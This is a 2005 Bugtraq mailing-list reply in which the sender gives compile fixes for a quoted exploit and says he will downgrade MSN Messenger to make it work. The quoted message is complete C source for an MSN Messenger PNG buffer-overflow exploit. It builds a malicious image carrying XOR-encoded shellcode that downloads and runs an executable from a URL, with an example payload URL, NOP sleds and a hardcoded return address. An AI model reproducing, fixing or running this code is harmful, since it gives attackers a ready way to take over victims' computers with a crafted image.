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Date: Wed, 09 Feb 2005 19:51:26 +0000
From: "Andrew Hunter" <andiroohunter@....com>
To: bugtraq@...urityfocus.com
Subject: RE: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
I had problems getting your code to compile, a few modifications were
needed!
I did get it to compile in MS VC++, and in Dev C++
You need to make the following adjustments.
Line 124:
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
Change it to the following:
newshellcode = malloc((sizeof(shellcode)+strlen(web)+1));
That is how i got it to sucessfully compile and make vuln.png
Unfortunatly MSN would let me load the .png as my display picture? I am
using MSN 7 so that is probbobly why, i will down grade to MSN 6 and try
again.
>From: ATmaCA ATmaCA <atmaca@...acasoft.com>
>To: bugtraq@...urityfocus.com
>Subject: MSN Messenger PNG Image Buffer Overflow Download Shellcoded
>Exploit
>Date: 9 Feb 2005 14:06:29 -0000
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>
>/*
>*
>* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
>* Bug discoveried by Core Security Technologies (www.coresecurity.com)
>* Exploit coded By ATmaCA
>* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
>* Web: http://www.atmacasoft.com
>* E-Mail: atmaca@...mail.com
>* Credit to kozan and delikon
>* Usage:exploit <OutputPath> <Url>
>*
>*/
>
>/*
>*
>* Tested with MSN Messenger 6.2.0137
>* This vulnerability can be exploited on Windows 2000 (all service packs)
>* and Windows XP (all service packs) that run vulnerable
>* clients of MSN Messenger.
>*
>*/
>
>/*
>*
>* After creating vuln png image, open
>* MSN Messenger and select it as your display picture in
>* "Tools->Change Display Picture".
>*
>*/
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <conio.h>
>#include <string.h>
>
>
>#ifdef __BORLANDC__
> #include <mem.h>
>#endif
>
>#define NOP 0x90
>
>char png_header[] =
>"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
>"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
>"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
>
>char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
>
>/* Generic win32 http download shellcode
> xored with 0x1d by delikon (http://delikon.de/) */
>char shellcode[] = "\xEB"
>"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
>"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
>"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
>"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
>"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
>"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
>"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
>"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
>"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
>"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
>"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
>"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
>"\x78\x65\x78\x1D";
>
>FILE *di;
>int i = 0;
>short int weblength;
>char *web;
>char *pointer = NULL;
>char *newshellcode;
>
>/*xor cryptor*/
>char *Sifrele(char *Name1)
>{
> char *Name=Name1;
> char xor=0x1d;
> int Size=strlen(Name);
> for(i=0;i<Size;i++)
> Name[i]=Name[i]^xor;
> return Name;
>}
>
>
>void main(int argc, char *argv[])
>{
>
> if (argc < 3)
> {
> printf("MSN Messenger PNG Image Buffer Overflow Download
>Shellcoded Exploit\n");
> printf("Bug discoveried by Core Security Technologies
>(www.coresecurity.com)\n");
> printf("Exploit coded By ATmaCA\n");
> printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
>Reserved.\n");
> printf("Web: http://www.atmacasoft.com\n");
> printf("E-Mail: atmaca@...mail.com\n");
> printf("Credit to kozan and delikon\n\n");
> printf("\tUsage:exploit <OutputPath> <Url>\n");
> printf("\tExample:exploit vuln.png
>http://www.atmacasoft.com/exp/msg.exe\n");
>
> return;
> }
>
>
> web = argv[2];
>
>
> if( (di=fopen(argv[1],"wb")) == NULL )
> {
> printf("Error opening file!\n");
> return;
> }
> for(i=0;i<sizeof(png_header)-1;i++)
> fputc(png_header[i],di);
>
> /*stuff in a couple of NOPs*/
> for(i=0;i<99;i++)
> fputc(NOP,di);
>
> weblength=(short int)0xff22;
> pointer=strstr(shellcode,"\x22\xff");
> weblength-=strlen(web)+1;
> memcpy(pointer,&weblength,2);
> newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
> strcpy(newshellcode,shellcode);
> strcat(newshellcode,Sifrele(web));
> strcat(newshellcode,"\x1d");
>
> //shell code
> for(i=0;i<strlen(newshellcode);i++)
> fputc(newshellcode[i],di);
>
>
> for(i=0;i<(83-strlen(web));i++) //NOPs
> fputc(NOP,di);
>
> /*Overwriting the return address (EIP)*/
> /*0x005E0547 - ret */
> fputc(0x47,di);
> fputc(0x05,di);
> fputc(0x5e,di);
> fputc(0x00,di);
>
> for(i=0;i<sizeof(pngeof)-1;i++)
> fputc(pngeof[i],di);
>
> printf("Vulnarable png file %s has been generated!\n",argv[1]);
>
> fclose(di);
>}
>
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